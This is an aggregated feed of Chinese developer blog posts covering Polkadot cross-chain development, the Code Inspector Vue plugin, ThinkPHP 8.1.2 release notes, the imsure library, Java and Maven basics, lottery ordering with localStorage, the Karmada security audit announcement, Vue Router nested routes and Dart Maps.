**Polkadot 开发新范式:从「造链」到「造桥」**除了上述场景之外,我们还有无穷无尽的跨链机遇:跨链 NFT 的交易,跨链闪电贷套利方案、 资产收益多链配置.......曾经,在 Polkadot 生态内,开发者都努力学习 substrate(polkadot-sdk),努力开发自己的 app-chain.                        时间来到 2024 年,Polkadot 此时:

  • 平行链数量来到了 45 条
  • Coretime 竞拍降低入场门槛
  • 链间互操作需求激增
  • 跨链应用迎来爆发期

此时有一扇全新的大门敞开了:「整合多平行链功能,构造跨链入口」,这也深度契合当前区块链世界大的发展方向——链抽象。也就是说,我们只需要理解其他平行链的业务代码,并合理组合 XCM 指令,就可以创造出性感的跨链应用,甚至很可以成为 Polkadot 的独角兽应用。The future is cross-chain, and it starts with XCM.参考资料XCM入门:wiki.polkadot.network/docs/learn-…

by 一块plus at January 23, 2025 01:57 AM

juejin frontend

Code Inspector 页面开发提效的神器!

不知道各位前端有没有这样的烦恼?

修改一个新的程序或者是很久没接触的程序,在界面上找到了对应的地方,但是代码里面是真的隐藏得很深,硬是找不到对应的哪个文件的哪个地方!

一般的做法都是找到 关键文字 / 特殊的css name,然后去 vs code 中搜索关键文字,然后在出来的文件里面去看哪一个是对应的文件,这种方式也还行。但是害怕遇见数据是后端返回的,且界面用的是框架,压根没有特殊的 css name。那么你将无物可搜!

另外的办法就是用很难用的 Vue Devtools 一层一层的点,去寻找对应的组件,然后再去代码里去按对应的层级结构去找到对应的组件界面!

这个方法也不是不好,就是有两点:

1.Vue Devtools 不是一般的难用,且点来点去,有时候也很难找到对应的组件

image.png

2.需要去理解代码,看路由找到主页,然后一层一层的去找

现在,Code Inspector 将解决你的痛点!

Code Inspector 介绍

image.png

使用

Code Inspector 官网挺清楚的:inspector.fe-dev.cn/ ,这里就是菜鸟再啰嗦一下了。

菜鸟用的vue,所以只用vue为例子!

安装

npm install code-inspector-plugin -D

vite 使用

// vite.config.js
import { defineConfig } from 'vite';
import { codeInspectorPlugin } from 'code-inspector-plugin';

export default defineConfig({
  plugins: [
    codeInspectorPlugin({
      bundler: 'vite',
    }),
  ],
});

vue cli 使用

// vue.config.js
const { codeInspectorPlugin } = require('code-inspector-plugin');

module.exports = {
  // ...other code
  chainWebpack: (config) => {
    config.plugin('code-inspector-plugin').use(
      codeInspectorPlugin({
        bundler: 'webpack',
      })
    );
  },
};

快捷键

1、在页面上按住组合键时,鼠标在页面移动即会在 DOM 上出现遮罩层并显示相关信息,点击一下,编译器就会自动跳转到对应文件,并将光标定位到元素对应的代码位置。 (Mac 系统默认组合键是 Option + Shift;Window 的默认组合键是 Alt + Shift)

注意:

编译器会跳转,并提示你,但是并不会自动打开,别以为没生效。

2、手机端没有快捷键,所以需要给插件参数中配置 showSwitch: true,会在页面显示一个代码审查开关按钮,点击可切换代码审查模式开启/关闭,代码审查模式开启后直接点击Dom即可(只能一次,后续还要再点一下才行)。

注意:

菜鸟只用电脑使用了showSwitch: true,没有使用手机实验过,可能有问题,建议大家官网找答案!

可能的问题

image.png

vite 解决办法

export default defineConfig(({ command, mode }) => {
  return {
    plugins: [
      codeInspectorPlugin({
        bundler: 'vite',
        dev: command === 'serve' // 自己判断是否开启
      })
    ],
  }
})

by PBitW at January 23, 2025 01:54 AM

oschina news project

ThinkPHP 发布 V8.1.2——喜迎🐍年新春

ThinkPHPV8.1.2版本为改进版本,主要完善了验证及多模块的视图渲染,并正式分离了验证和容器组件为独立依赖,后续相关改进可以无需等待框架更新,官方还推出了全新的调试服务。

藉此机会祝贺大家在新的一年开发无忧、事事顺意、🐍年成功!

主要更新

  • 改进事件订阅及多级通配符

  • 增加ValidateRuleSet类 用于更方便的进行数组验证

  • 增加验证分组、规则集和规则别名方法

  • 路由分组绑定方法增加prefix参数 (用于是否自动prefix 默认为true)

  • 修正批量验证

  • 支持通过rules方法定义验证规则( 返回数组或验证对象)

  • 依赖注入支持使用self

  • 路由Rule支持 appendmiddleware方法多次调用

  • 修正通过 must 属性设置必须验证的字段不生效

  • 优化 Cookie 设置(数组 key 为字符串数值时,PHP 会自动转换为 int)

  • 修正分组多级路由合并检查

  • 改进多模块模式的视图自动渲染定位

  • 改进dateFormat验证规则

  • 多语言增加auto_detect_browser参数

  • Response增加getCookie方法

  • ValidateContainer组件移出核心并独立依赖

  • 改进pathinfo兼容获取

官方文档

官方手册 https://doc.thinkphp.cn 已经同步更新

服务上新

官方最新上线了调试库think-dumper支持本地和远程调试(基于symfony/var-dumper库实现并接管了内置的dump助手函数),希望大家在新的一年里面调试无忧,让代码变得更简单,通过composer安装:

composer require topthink/think-dumper

如果是全新安装项目库的话,默认会安装think-dumper库。

by 来源: 投稿 at January 23, 2025 01:49 AM

juejin article

去TMD的逻辑过程,不写了

Imsure logo

省时省力省钱省心省脑子
好学好用的编程方式

体验完整 Demo
查看详细文档
GitHub 地址

1. 场景描述

假设我们有一个 Person 对象,包含 nameage 两个字段。我们需要实现以下功能:

  1. 投票机构:18 岁以上有投票权。
  2. 社保机构:60 岁以上可以享受退休福利。

在传统编程中,我们需要手动编写逻辑来管理每个地方的状态更新,容易遗漏,难以维护。而在 imsure 中,我们不需要写这些逻辑,而是通过 数据转换 来实现:输入数据(age)通过规则自动转换为输出数据(canVotecanRetire


2. imsure 写法:数据转换的核心

2.1 定义 Person 类型

首先,我们定义 Person 类型,包含 nameage 两个字段。

import { typedef, string, int32 } from 'imsure'

// 定义个人类型
const Person = typedef({
  name: string, // 姓名
  age: int32, // 年龄
})

2.2 定义规则:数据转换的关键

2.2.1 投票机构的规则

投票机构的规则是:Personage 大于等于 18 岁时,canVotetrue

const VotingAgency = typedef({
  person: Person,
  canVote: bool, // 是否有投票权
  '@init': (self) => {
    self.person = self.person
  },
})

ruledef(
  VotingAgency,
  'canVote',
  {
    person: {
      age: true, // 监听 person.age 的变化
    },
  },
  (self) => {
    self.canVote = self.person.age >= 18 // 18 岁以上有投票权
  },
)

重点
这里的关键是 数据转换,而不是逻辑控制。我们描述了 canVoteage 的转换结果。

输入数据person.age
输出数据canVote
转换规则canVote = age >= 18


2.2.2 社保机构的规则

社保机构的规则是:Personage 大于等于 60 岁时,canRetiretrue

const SocialSecurityAgency = typedef({
  person: Person,
  canRetire: bool, // 是否可以退休
  '@init': (self) => {
    self.person = self.person
  },
})

ruledef(
  SocialSecurityAgency,
  'canRetire',
  {
    person: {
      age: true, // 监听 person.age 的变化
    },
  },
  (self) => {
    self.canRetire = self.person.age >= 60 // 60 岁以上可以退休
  },
)

重点
同样,这里也是 数据转换,而不是逻辑控制。我们描述了 canRetireage 的转换结果。

输入数据person.age
输出数据canRetire
转换规则canRetire = age >= 60


2.3 初始化数据

2.3.1 初始化 Person

我们初始化一个 Person 对象,设定其 nameAliceage 为 15 岁。

import { typeinit } from 'imsure'

const person = typeinit(Person, {
  name: 'Alice',
  age: 15, // Alice 今年 15 岁
})

2.3.2 初始化机构

接下来,我们初始化投票机构和社保机构,并 挂载 person

const votingAgency = typeinit(VotingAgency, { person })
const socialSecurityAgency = typeinit(SocialSecurityAgency, { person })

console.log(votingAgency.canVote) // false(15 岁 < 18 岁)
console.log(socialSecurityAgency.canRetire) // false(15 岁 < 60 岁)

重点
此时,canVotecanRetire 的值是根据 person.age 自动转换而来的。


2.4 数据更新与自动状态管理

Personage 发生变化时,规则 会自动更新相关机构的状态。

person.age = 20 // Alice 今年 20 岁

// 各个机构自动更新
console.log(votingAgency.canVote) // true(20 岁 >= 18 岁)
console.log(socialSecurityAgency.canRetire) // false(20 岁 < 60 岁)

重点
这里的关键是 数据转换的自动触发。当 age 变化时,canVotecanRetire 会自动重新计算,不需要手动编写更新逻辑


3. 总结

通过 imsure,我们可以实现一种基于 数据转换 的更自然的编程方式:

  1. 自动化数据转换ruledef 自动监听 age 的变化,并在变化时更新所有相关状态。
  2. 减少 Bug:状态更新由 imsure 自动处理,确保状态一致性不会出错。
  3. 功能解耦Person 只维护自己的状态,不需要关心各个机构如何处理。
  4. 扩展性强:各个机构独立观察 Person 的状态,并根据状态赋予权利或福利。
  5. 简单直观:更符合现实世界的法则,也让代码更简单、更易维护。

记住

  • 你不是在写逻辑,而是在描述 数据如何转换
  • 你不是在控制流程,而是在描述 数据之间的关系

先尝试从一个小项目或一个数据结构开始吧。

Happy coding with imsure! 🚀

by muchan92 at January 23, 2025 01:47 AM

juejin frontend

前端视角 Java Web 入门手册 1.3:Java 世界的规则

基础规则

这是一个最简单的 Java 应用程序,存储在 Welcome.java文件中

public class Welcome {
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}

JavaScript 的规则相对松散,而 Java 程序有几个需要遵守的规则

  • 源代码文件名和 public 类名保持一致,这也就意味着一个文件内只能有一个 public 类名
  • 源代码文件使用 .java作为拓展名
  • 类名必须以大写字母开头,且只能包含字母、数字、下划线和美元符号,不能使用 Java 的关键字
  • 包名是用来组织和管理 Java 类的一种机制,必须以小写字母开头,且只能包含小写字母、数字和点号
  • 方法名必须以小写字母开头,且只能包含字母、数字和下划线
  • Java 程序必须包含一个main方法,作为程序的入口点,方法签名必须是 public static void main(String[] args)

代码组织

Java 的代码组织主要通过包(Package)和类(Class)实现。包是一组相关的类和接口的集合,它们被组织在一个统一的命名空间下,以便更好地管理和组织。类是 Java 中最基本的代码单元,它定义了对象的属性和行为。

使用 package关键字声明包,一般包名中的英文单词全部使用小写

// 声明包
package com.example;

public class Test {
    
}

Java 中的包命名规则遵循反转的 Internet 域名规则,也就是说包名应该从上到下按照域名的层次结构来命名,每个层次结构使用小写字母。在阿里巴巴开发一个 TestProject 的项目,包名可能是 com.alibaba.testproject

使用 import关键字引入其它包内的类与接口,以便在当前类中使用,Java import 无法给引入对象设置别名,多个类名重复时需要使用完整路径

// 引入类
import com.package.Test;

Java 类一般都有 public、protected、private 等访问限制符修饰,不加任何访问限制符默认为可以被同一个包内的类访问

编译 & 运行

Java 代码需要编译后运行,javac是 Java 编译器的命令行工具

$ javac Welcome.java

如果编译成功,将会生成一个与 public 类名称相同、后缀名为 .class 的字节码文件 Welcome.class,使用 Java 命令运行可以在控制台输出程序结果

$ java Welcome

Java 代码编写完成后,需要经过编译器生成对应的字节码文件,而 Java 虚拟机(JVM)则负责解释执行这些字节码文件。由于 Java 虚拟机的存在,Java 程序可以跨平台运行、在不同的操作系统上运行相同的 Java 程序

另外 Java 虚拟机还提供了一些高级功能,例如利用即时编译器在运行时将热点代码编译成本地机器码,提高程序的执行效率;提供Java调试器接口(Java Debug Interface),方便开发人员进行调试等

打包

Java 程序发布通常需要打包为 jar(Java ARchive)格式,内部可以包含 Java 字节码文件、配置文件、图片等资源文件

$ jar -cvf jar文件名.jar 需要打包的文件或文件夹
  • -c:创建 jar 文件
  • -v:在控制台输出打包过程
  • -f:指定 jar 文件名称

在一般情况下打包、解压 jar 文件会通过 Eclipse、IntelliJ IDEA 等集成开发环境完成,打包完成后就可以把 jar 文件发布到 Maven、Gradle 了

by 谦行 at January 23, 2025 01:33 AM

前端视角 Java Web 入门手册 1.2:使用 Maven 管理依赖

Maven 是一个强大的 Java 项目管理和构建工具,它简化了项目的构建过程,管理项目的依赖,并提供统一的项目结构和生命周期管理。主要功能包括:

  • 依赖管理:自动下载和管理项目所需的第三方库(如JAR文件)
  • 项目构建:编译源代码、运行测试、打包项目、生成文档等
  • 项目管理:统一的项目结构和配置,简化团队协作

Google 推出的 Gradle 是 Maven 主要竞对,支持使用 Groovy 或 Kotlin DSL 编写构建脚本,非常灵活。同时 Gradle 支持差量处理、任务并行等特性,使其拥有更高的性能

Maven 与前端工具对比

如果熟悉前端工程化工具,可以将 Maven 看作 Java 生态中的类似工具:

前端工具Maven
npm + webpackMaven
package.jsonpom.xml
node_modulesLocal Repository
registryCentral Repository
  • pom.xml:类似于前端的 package.json,用于定义项目依赖、插件和构建配置
  • Local Repository:本地存储已经下载的依赖包,类似于 node_modules
  • Central Repository:Maven的中央仓库,用于存储和下载各种Java依赖,类似于 npm 的 registry

Maven 的核心概念

项目对象模型 POM

POM(Project Object Model) 是Maven项目的核心,通过 pom.xml 文件进行配置。POM文件定义了项目的结构、依赖、插件、构建目标等。

<project xmlns="http://maven.apache.org/POM/4.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 
  http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.example</groupId>
  <artifactId>my-web-app</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>jar</packaging>

  <dependencies>
    <!-- 依赖项在此添加 -->
  </dependencies>

  <build>
    <plugins>
      <!-- 插件在此添加 -->
    </plugins>
  </build>
</project>

依赖管理

Maven通过在POM文件中定义依赖来自动管理第三方库,Maven 会从中央仓库或指定的仓库下载这些依赖,并将其添加到项目中

<dependencies>
    <!-- Spring Boot Starter Web -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <version>3.1.0</version>
    </dependency>
    
    <!-- JUnit 5 -->
    <dependency>
        <groupId>org.junit.jupiter</groupId>
        <artifactId>junit-jupiter</artifactId>
        <version>5.9.0</version>
        <scope>test</scope>
    </dependency>
</dependencies>

Java 可复用的软件包发布为 JAR(Java Archive)格式,在 Maven 中管理的 JAR 其唯一标识由三个部分组成

  • groupId:类似 Java 的包名,通常是公司或者组织的名称
  • artifactId:类似 Java 类名,通常是项目名称
  • version:版本号,一般使用 x.y.z 格式

在 Node.js 一般会用 x.z.z-beta.3 这种形式来表示、指定安装开发中的版本,Java 中则使用 z.y.z-SNAPSHOT 的方式,SNAPSHOT 可以不修改版本号反复修改、发布

Maven 不会对 SNAPSHOT 版本包缓存,每次构建都会重新下载。部分团队会利用此特性来配置类似安全相关的,这类需要使用最新版本的 JAR 包

central.sonatype.dev/ 上可以方便搜索 Maven 中心仓库的包信息及引用方式

Repositories

Maven 使用仓库来存储和获取依赖,主要有:

  • 中央仓库(Central Repository) :默认的官方仓库,包含了大量的开源Java依赖
  • 本地仓库(Local Repository) :本机上的缓存位置,默认位于 ~/.m2/repository
  • 远程仓库(Remote Repositories) :公司内部或第三方的仓库,用于存储特定的依赖

安装 Maven

  1. 下载 Maven:访问 Maven 官方下载页,下载最新版本的二进制压缩包(例如 apache-maven-3.8.6-bin.zipapache-maven-3.8.6-bin.tar.gz

  2. 解压缩:将下载的压缩包解压到你选择的目录(例如 C:\Program Files\Apache\Maven/usr/local/apache-maven)。

  3. 配置环境变量:将 Maven 的 bin 目录添加到系统的 PATH 环境变量中。

    • Windows

      • 右键“此电脑” > “属性” > “高级系统设置” > “环境变量”。
      • 在“系统变量”中找到 Path,点击“编辑”,添加 C:\Program Files\Apache\Maven\apache-maven-3.8.6\bin
    • macOS/Linux

      • 编辑 ~/.bash_profile, ~/.zshrc~/.bashrc 文件,添加export PATH=/usr/local/apache-maven/apache-maven-3.8.6/bin:$PATH

运行命令 mvn --version验证

Maven 中央仓库下载可能会比较慢,修改 maven 安装目录/conf/setting.xml,在 mirroes 节点添加以下内容,可以切换为阿里云镜像

<mirror>
   <id>aliyunmaven</id>
   <mirrorOf>*</mirrorOf>
   <name>阿里云公共仓库</name>
   <url>https://maven.aliyun.com/repository/public</url>
</mirror> 

Maven 项目结构

使用 IntelliJ IDEA 可以很方便创建一个 Maven 项目

maven-project
├── pom.xml // 项目描述文件,类似 Node.js 项目的 package.json
├── src
│   ├── main
│   │   ├── java // Java 源码
│   │   └── resources // 资源文件
│   └── test
│       ├── java
│       └── resources
└── target // 编译、打包生成的文件

在 pom.xml 配置项目依赖

在项目 pom.xml dependencies 节点中添加 dependency 节点,设置 groupId、artifactId、version 可以添加依赖,在 IntelliJ IDEA 中使用 Maven 工具可以快速把依赖下载到项目 External Libraries

<project xmlns="http://maven.apache.org/POM/4.0.0" ...>
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.example</groupId>
    <artifactId>my-web-app</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>jar</packaging>

    <dependencies>
        <!-- Spring Boot Starter Web -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <version>3.1.0</version>
        </dependency>
        
        <!-- JUnit 5 for Testing -->
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter</artifactId>
            <version>5.11.4</version>
            <scope>test</scope>
        </dependency>
        
        <!-- 其他依赖项 -->
    </dependencies>
    
    <!-- 构建插件可以在此添加 -->
</project>

有时候会发现部分模块定义版本号为 999-not-exist,主要是为了加载一个 Maven 中不存在的版本号,从而强制排除项目对该包的依赖

使用 scope 指定 JAR 使用范围

可以注意到有些包在配置依赖时候会添加scope

<dependency>
    <groupId>org.junit.jupiter</groupId>
    <artifactId>junit-jupiter</artifactId>
    <version>5.9.0</version>
    <scope>test</scope>
</dependency>

Maven 构建生命周期是一个有序的阶段序列,这些阶段会依次执行,以完成项目的构建和部署等操作。主要包括以下几个重要阶段:

  1. 清理(Clean) :删除之前构建产生的输出文件,确保构建环境的干净

    • 命令mvn clean
    • 主要操作:删除 target 目录及其内容,该目录通常包含编译的类文件、打包文件、测试报告等。
  2. 编译(Compile) :将源代码编译为字节码

    • 命令mvn compile
    • 主要操作:将 src/main/java 目录下的 Java 源代码编译为字节码文件,并存储在 target/classes 目录下。
  3. 测试(Test) :运行单元测试,确保代码的正确性

    • 命令mvn test
    • 主要操作
      • 编译 src/test/java 中的测试代码。
      • 使用 JUnit 或 TestNG 等测试框架运行测试。
      • 测试结果存储在 target/surefire-reports 目录下。
  4. 打包(Package) :将编译后的类文件和资源文件打包成可分发的文件格式

    • 命令mvn package

    • 主要操作

      • 对于 Java 项目,将 target/classes 目录下的文件打包成 .jar 文件。
      • 对于 Web 项目,可能打包成 .war 文件。
      • 对于 Spring Boot 项目,使用 Spring Boot Maven 插件可将项目打包成可执行的 .jar.war 文件。
  5. 安装(Install) :将打包好的文件安装到本地 Maven 仓库中,以便其它项目使用

    • 命令mvn install
    • 主要操作:将 target 目录下生成的 .jar.war 文件复制到本地 Maven 仓库(通常位于用户的 ~/.m2/repository 目录)。
  6. 部署(Deploy) :将打包好的文件部署到远程 Maven 仓库,以供团队或组织内的其他成员使用

    • 命令mvn deploy
    • 主要操作:将项目的构建产物上传到远程 Maven 仓库,需要在 pom.xml 中配置远程仓库的信息。

有些命令执行多个阶段

  • mvn package: 会依次执行 compile、test、package 阶段
  • mvn install:会依次执行 compile、test、package、install 阶段
  • mvn verify:会执行 validate、compile、test、package、integration-test、verify 阶段

不同 jar 在项目不同阶段起作用, 可以指定包生效的阶段

scope说明示例
compile默认值,依赖包会参与项目的编译、测试、打包、运行阶段log4j
provided和 compile 类似,因为内容由 JDK 或者服务器等提供,不参与打包servlet-api
runtime不需要参与编译,但运行、打包时需要,一般是因为代码中仅仅使用了接口mysql
test仅在测试阶段被使用,包括测试代码的编译、执行junit
system和 provided 类似,但依赖不从 maven 加载,而是从系统本地获取
import表示从其它 pom 导入依赖,相当于引用,解决项目只能设置一个父项目的限制问题

上文中 junit 的配置,表示该 jar 只在测试阶段被使用

by 谦行 at January 23, 2025 01:29 AM

抽奖顺序控制:支持多种抽奖顺序的实现与持久化

在年会抽奖系统中,不同场景下的抽奖顺序需求可能会有所不同。例如:

  • 随机抽取奖品,营造紧张感和未知性。
  • 按奖品等级高到低的顺序抽取,提升活动的层次感。
  • 按奖品等级低到高的顺序抽取,逐渐递进到高潮。

本文将探讨如何支持多种抽奖顺序并通过 localStorage 实现设置的持久化。


问题描述

当前的抽奖系统默认按奖品等级从高到低排序,不能灵活切换顺序。需要支持以下三种抽奖顺序:

  1. 随机顺序:打乱奖品列表,随机抽取。
  2. 等级高到低:先抽特别奖和高等级奖,后抽低等级奖。
  3. 等级低到高:先抽低等级奖,最后抽特别奖。

此外,为了提升用户体验,还需要在页面刷新或重新登录后记住用户选择的抽奖顺序。


解决方案

1. 添加抽奖顺序设置

我们可以通过 UI 提供用户选项,让用户选择抽奖顺序。例如:

<label>
  <input type="radio" name="order" value="random" checked /> 随机顺序
</label>
<label>
  <input type="radio" name="order" value="desc" /> 等级高到低
</label>
<label>
  <input type="radio" name="order" value="asc" /> 等级低到高
</label>

2. 实现抽奖顺序逻辑

根据用户选择的顺序,动态排序奖品列表。以下是 JavaScript 实现代码:

// 奖品数据
const prizes = [
  { name: "三等奖", level: 1 },
  { name: "二等奖", level: 2 },
  { name: "一等奖", level: 3 },
  { name: "特别奖", level: 4 },
];

// 抽奖顺序设置(持久化到 localStorage)
function getDrawOrder() {
  return localStorage.getItem("drawOrder") || "random"; // 默认随机
}

function setDrawOrder(order) {
  localStorage.setItem("drawOrder", order);
}

// 排序逻辑
function sortPrizes(order, prizes) {
  if (order === "random") {
    return prizes.sort(() => Math.random() - 0.5); // 随机排序
  } else if (order === "desc") {
    return prizes.sort((a, b) => b.level - a.level); // 等级高到低
  } else if (order === "asc") {
    return prizes.sort((a, b) => a.level - b.level); // 等级低到高
  }
  return prizes;
}

// 获取用户选择的顺序
const userOrder = getDrawOrder();

// 排序奖品
const sortedPrizes = sortPrizes(userOrder, prizes);
console.log(sortedPrizes);

3. 用户设置持久化

当用户选择某种抽奖顺序时,我们将其存储到 localStorage 中,以便在页面刷新后仍能记住用户的选择。

// 绑定事件监听用户选择
document.querySelectorAll('input[name="order"]').forEach((input) => {
  input.addEventListener("change", (e) => {
    const selectedOrder = e.target.value;
    setDrawOrder(selectedOrder); // 保存到 localStorage
    const sortedPrizes = sortPrizes(selectedOrder, prizes); // 更新排序
    console.log(sortedPrizes); // 调试输出
  });
});

完整功能的演示效果

  1. 默认顺序(随机)
    用户首次打开抽奖页面时,奖品顺序为随机。
  2. 用户选择某种排序规则后
    奖品顺序会按照用户的选择展示,并立即生效。
  3. 页面刷新后
    用户上次选择的抽奖顺序会自动加载,带来一致的使用体验。

扩展与优化

1. 支持更多抽奖规则

如果年会抽奖系统未来需要支持更复杂的规则,例如:

  • 按奖品价值排序。
  • 按奖品剩余数量动态调整优先级。

可以通过增加规则选项和对应的排序逻辑轻松扩展。

2. 动态更新奖品

在抽奖过程中,每次抽出一个奖品后,奖品列表应实时更新排序。可以在抽取逻辑中重新调用 sortPrizes

function drawPrize() {
  const remainingPrizes = sortedPrizes.shift(); // 抽出第一个奖品
  console.log("抽中的奖品:", remainingPrizes);
  console.log("剩余奖品:", sortPrizes(getDrawOrder(), sortedPrizes));
}

3. 改善用户体验

  • 实时反馈:在用户选择排序规则时,奖品列表立即更新并展示。
  • UI 美化:通过动画效果切换不同排序顺序,增加抽奖的互动感和趣味性。

总结

通过为年会抽奖系统添加抽奖顺序设置,用户可以自由选择随机、等级高到低、等级低到高等多种排序规则,并且借助 localStorage 实现了设置的持久化。
这一改进不仅提升了抽奖环节的灵活性和趣味性,还为用户提供了更贴心的体验。

在年会抽奖的实际场景中,排序逻辑的设计是细节决定体验的典型案例。希望本文的实现方案能为你的抽奖系统开发带来帮助!

by 元之贞 at January 23, 2025 01:23 AM

juejin article

Karmada 完成安全审计!项目成熟度持续升级

CNCF[1]和 OSTIF[2]官方宣布了 Karmada 安全审计结果[3]。OSTIF 对开源软件的审计,旨在加强开源软件生态系统的安全。作为 CNCF 的孵化项目,Karmada 本次审计得到 CNCF 、OSTIF 和 Shielder 的支持与帮助。

图片

Karmada[4] 是一个开源 的 Kubernetes 编排系统,用于跨云和集群无缝运行云原生应用程序,为用户提供开放的多云、多集群 Kubernetes 管理。Karmada 社区始终坚持确保社区代码安全、可靠并性能优越。此次安全审计,项目表现出了强大的参与度、活跃的开发状态和对安全的重视,项目的维护人员在整个审查过程中一直积极响应并积极工作。以下是 OSTIF 分享的对 Karmada 的安全审计结果:


审计流程:

Karmada 是 Kubernetes 生态系统的一部分,使用了 Kubernetes 库和实现,除此之外,Karmada 自定义实现及其第三方依赖项的整体安全状况也是本次审计工作的重中之重。Karmada 利用多个组件、CLI 工具和附加组件来扩展标准 Kubernetes 功能,这些功能可以根据部署配置进行定制。因此, Karmada 的攻击场景相对复杂,有必要执行范围威胁建模以评估潜在的攻击面。利用这个定制的威胁模型,结合手动检查、工具分析和动态审查,Shielder[5]  识别了六个对项目安全有影响的问题。

审计结果:

  • 6 个发现
    • 1 个高风险,1 个中风险,2 个低风险,2 个提示
  • 对未来工作的建议
  • 整体安全性的长期改善建议

Karmada 项目的安全团队在整个审计过程中一直积极响应并与 Shielder 积极合作,解决修复了报告中列出的问题。他们为项目所做的工作一丝不苟,在问题修复过程中能考虑到对用户以及相关的第三方依赖项和项目的影响。他们发布了必要的安全通告,并告知用户本次审计的影响和提供相应的解决方案。OSTIF 祝他们在 CNCF 毕业之路上一切顺利。

感谢以下个人和团体使这次合作成为可能:- Karmada 维护者和社区:特别是 Kevin Wang、Hongcai Ren 和 Zhuang Zhang

  • Shielder: Abdel Adim “Smaury” Oisfi, Pietro Tirenna, Davide Silvetti
  • 云原生计算基金会

本次审计结果标志着 Karmada 社区向 CNCF 下一阶段成熟度又向前迈进了一步,也是 Karmada 社区对于安全性重视和承诺的践行。Karmada 将不断改善升级项目的安全态势,为用户提供更加安全可靠的使用体验。

您可以在 OSTIF 和 CNCF 的博客上阅读更多关于审计的信息。

参考资料

[1] CNCF (Announcing the results of the Karmada security audit) : www.cncf.io/blog/2025/0…

[2] OSTIF(Karmada Audit Complete!): ostif.org/karmada-aud…

[3] 安全审计报告: ostif.org/wp-content/…

[4] Karmada: karmada.io/

[5] Shielder: www.shielder.com/blog/2025/0…

by 容器魔方 at January 23, 2025 01:23 AM

juejin frontend

实现全屏页面跳转:Vue Router 嵌套路由的灵活用法

问题及背景

背景

Vite + Vue3 项目,想要实现如下图的效果:

image

父页面有几个按钮,跳转到子页面;子页面可以返回到父页面。

问题

交互很简单,但是父页面和子页面都是全屏展示,一样的大小,它们之间没有共用的逻辑和布局,比如菜单。所以可以把父页面、子页面当做没有关联的独立的页面。

Vue Router 常规路由

常规的一级路由,路由信息:

{
  path: '/home',
  name: 'Home',
  component: () => import('@/views/Home'),
},
{
  path: '/page1',
  name: 'Page1',
  component: () => import('@/views/Page1'),
},
{
  path: '/page2',
  name: 'Page2',
  component: () => import('@/views/Page2'),
},

父页面和子页面是同级的路由,它们在路由上没有嵌套的关系,这样是能实现页面跳转的。

Vue Router 二级嵌套路由

一般的嵌套路由是这样的:

{
  path: '/home',
  name: 'Home',
  redirect: '/home/page1',
  component: () => import('@/views/Home'),
  children: [
    {
      path: 'page1',
      name: 'Page1',
      component: () => import('@/views/Home/Page1'),
    },
    {
      path: 'page2',
      name: 'Page2',
      component: () => import('@/views/Home/Page2'),
    },
  ],
},

它实现的效果是这样的:

image

子页面是父页面的一部分,需要在父页面写 <router-view /> 引入子页面。

注意,以 / 开头的嵌套路径将被视为根路径。这允许你利用组件嵌套,而不必使用嵌套的 URL。

这里 children 里的 path 没有以 / 开头,得到的子页面路由就是:/home/page2 这样,如果以 / 开头,得到的页面路由就是:/page1

扁平的二级嵌套路由

官网介绍了一种忽略父路由组件的用法,用法如下:

const routes = [
  {
    path: '/admin',
    children: [
      { path: '', component: AdminOverview },
      { path: 'users', component: AdminUserList },
      { path: 'users/:id', component: AdminUserDetails },
    ], 
  },
]

父路由不写 component,子路由中 path 为空的路由组件就渲染了父路由,其他路由和正常的嵌套路由一样。

Vue router 会直接跳过父路由,不渲染任何父组件,只加载匹配的子路由组件。

这样的做的好处有:

  • 组织路由结构:将具有公共路径前缀的路由分组在一起
  • 公共配置:为一组路由(子路由)配置公共的功能(meta 字段或导航守卫)

受这种用法的启发,我们前面问题的路由可以这样设置:

{
  path: '/home',
  children: [
    {
      path: '',
      name: 'Home',
      component: () => import('@/views/Home/Home'),
    },
    {
      path: 'page1',
      name: 'Page1',
      component: () => import('@/views/Home/Page1'),
    },
    {
      path: 'page2',
      name: 'Page2',
      component: () => import('@/views/Home/Page2'),
    },
  ],
},

父页面并非没有任何内容,只是把父页面当成一个子页面,用子路由来渲染。这样相比一级路由能更好的组织路由结构,Home 中不用写 <router-view />,父路由做的是逻辑分组,而不是 UI 分组,父路由实际上也是有子路由渲染的。

这种路由方法或许可以叫做无组件嵌套路由、或者逻辑嵌套路由、或者扁平的嵌套路由。

这样做的好处

难道这样组织路由的好处只是更好的组织路由路径,更像一个二级嵌套关系而已吗?其他的路由守卫什么的暂时用不到。

实际上,我的菜单数据需要根据路由信息生成,其中的二级菜单也有对应的处理。应用上面的写法,即使特殊形式的二级页面,也不需要修改对菜单的处理。如果是一级路由形式,则需要手动处理一级二级页面的对应关系,处理菜单数据生成、

总结

在 Vue Router 中,灵活的路由结构可以大大提升项目的可维护性和可扩展性。通过扁平的二级嵌套路由,我们能够更好地组织路由,同时保持页面的独立性。这种方式不仅简化了路由的管理,还使得菜单生成逻辑更加清晰。

by choreau at January 23, 2025 01:13 AM

juejin android

系统化掌握Dart编程之映射(Map)

image.png

前言

集合 —— 操作批量数据核心工具

Dart 中,Map 是一种非常强大的数据结构,它允许存储键值对key-value pairs),其中每个键都是唯一的Map 类似于现实世界中的字典电话簿——通过一个唯一的标识符)来查找对应的信息)。本章节将深入理解 Dart 中的 Map,系统化掌握其创建操作优化方法。

千曲而后晓声,观千剑而后识器。虐它千百遍方能通晓其真意

一、基本概念

1.1、图像表示

姓名电话
Alice19999999999
Bob18888888888
Charlie17777777777

如上图所示,有一个班级的学生电话簿,左边是人名,右边是对应的电话号码。想找某个人的电话时,只需要知道名字就可以快速找到电话号码。这就是 Map 的工作方式 —— 它由Key)和Value)组成,通过键来查找对应的值

1.2、定义

Map 是一个无序的键值对集合,其中每个键是唯一的。可以通过键快速查找对应的值,非常适合用于关联数据的场景,如配置文件解析用户信息管理等。

